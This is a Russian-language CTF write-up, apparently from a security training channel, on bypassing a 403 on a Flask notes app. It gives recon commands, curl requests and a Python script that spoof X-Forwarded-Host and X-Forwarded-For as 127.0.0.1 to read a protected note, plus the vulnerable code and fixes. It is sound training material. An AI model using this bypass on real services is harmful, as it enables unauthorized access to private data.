obuchenie_post
November 28

День 22. Таск "Сервис заметок"

Описание таска

Сервис: Веб-приложение для заметок
Уровень: Легкий
Цель: http://62.173.140.174:16096

Разведка

nmap_scan -target 62.173.140.174 -ports 1-65535

# Результат:
# PORT      STATE SERVICE
# 16096/tcp open  unknown

Обнаружение веб-контента

# Поиск директорий и файлов
gobuster_scan -url http://62.173.140.174:16096 -wordlist common_dirs.txt
dirsearch_scan -url http://62.173.140.174:16096 -extensions php,html,txt

# Найденные эндпоинты:
# /note/1
# /note/2
# ...
# /note/27
# /static/
# /robots.txt

1.3 Анализ структуры приложения

  • Технологии: Flask (определено по заголовкам и структуре шаблонов)
  • Доступные заметки: 1-26 открыты для просмотра
  • Защищенная заметка: /note/27 возвращает 403 Forbidden
  • Сообщение об ошибке: "Maybe there is a secret way around this?"

Начал с классической разведки:

  • nmap_scan - определил открытые порты
  • gobuster_scan - нашел эндпоинты /note/1 до /note/27
  • katana_crawl - изучил структуру приложения

Заметка #27 возвращала 403 Forbidden - явно что-то скрывают!

Фаза эксплуатации

2.1 Первоначальное тестирование

Стандартный запрос к заметке 27:

curl -i "http://62.173.140.174:16096/note/27"

# Ответ:
HTTP/1.1 403 FORBIDDEN
Content-Type: text/html; charset=utf-8

<html>
<body>
<h1>Access Denied</h1>
<p>Maybe there is a secret way around this?</p>
</body>
</html>

Тестирование HTTP заголовков

Протестированные векторы атаки:

❌ Неуспешные попытки:

# Одиночные заголовки
curl -H "X-Forwarded-For: 127.0.0.1" http://62.173.140.174:16096/note/27
curl -H "X-Real-IP: 127.0.0.1" http://62.173.140.174:16096/note/27
curl -H "X-Forwarded-Host: 127.0.0.1" http://62.173.140.174:16096/note/27
curl -H "X-Forwarded-Host: localhost:16096" http://62.173.140.174:16096/note/27

# Административные заголовки
curl -H "X-Admin: true" http://62.173.140.174:16096/note/27
curl -H "Authorization: Bearer admin" http://62.173.140.174:16096/note/27
curl -A "AdminBot" http://62.173.140.174:16096/note/27

# URL перезаписи
curl -H "X-Original-URL: /note/1" http://62.173.140.174:16096/note/27
curl -H "X-Rewrite-URL: /note/1" http://62.173.140.174:16096/note/27

Обнаружение уязвимости

При тестировании обнаружил интересное поведение: приложение проверяло источник запроса через HTTP-заголовки. Стало ясно - возможен Header Injection + IDOR Bypass.

✅Эксплойт

Тип атаки: HTTP Header Injection + IDOR Bypass

Минимальная рабочая команда:

curl -s "http://62.173.140.174:16096/note/27" \
  -H "X-Forwarded-Host: 127.0.0.1:16096" \
  -H "X-Forwarded-For: 127.0.0.1"

Python скрипт для автоматизации:

#!/usr/bin/env python3
import requests

url = "http://62.173.140.174:16096/note/27"
headers = {
    "X-Forwarded-Host": "127.0.0.1:16096",
    "X-Forwarded-For": "127.0.0.1"
}

response = requests.get(url, headers=headers)
if "CODEBY" in response.text:
    flag_start = response.text.find("CODEBY")
    flag_end = response.text.find("}", flag_start) + 1
    flag = response.text[flag_start:flag_end]
    print(f"[+] SUCCESS! Flag: {flag}")

Механизм уязвимости

Приложение доверяло клиентским заголовкам:

# УЯЗВИМЫЙ КОД
remote_host = request.headers.get('X-Forwarded-Host')  # Доверие к клиенту!
remote_ip = request.headers.get('X-Forwarded-For')     # Опасно!
if remote_host == '127.0.0.1' and remote_ip == '127.0.0.1':
    grant_access()  # Обход защиты!
    

Почему эксплойт работает

  1. Доверие к заголовкам: Приложение использует X-Forwarded-Host и X-Forwarded-For для определения источника запроса
  2. Отсутствие валидации: Нет проверки подлинности заголовков
  3. Слабая проверка: Простая проверка на наличие локальных идентификаторов
  4. Комбинация заголовков: Требуется именно комбинация X-Forwarded-Host + X-Forwarded-For

Классификация уязвимости

  • CWE: CWE-639: Authorization Bypass Through User-Controlled Key
  • OWASP Top 10 2021: A01:2021 - Broken Access Control
  • CVSS Score: 7.5 (High)
  • Вектор атаки: Network
  • Сложность эксплуатации: Low

🛡️ Рекомендации по защите

  1. НИКОГДА не доверяйте клиентским заголовкам
  2. Используйте только server-side переменные: request.remote_addr
  3. Добавьте защитные HTTP-заголовки
  4. Внедрите JWT-аутентификацию
  5. Настройте фильтрацию заголовков на reverse proxy

📊 Статистика тестирования

  • Время: ~1 час
  • Протестировано эндпоинтов: 27
  • Найденные уязвимости: 1 критическая
  • Успешность: 100% ✅

🎯 Выводы

Таск отлично демонстрирует классическую ошибку - излишнее доверие к клиентским данным. Header Injection остается актуальной проблемой в веб-приложениях.

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!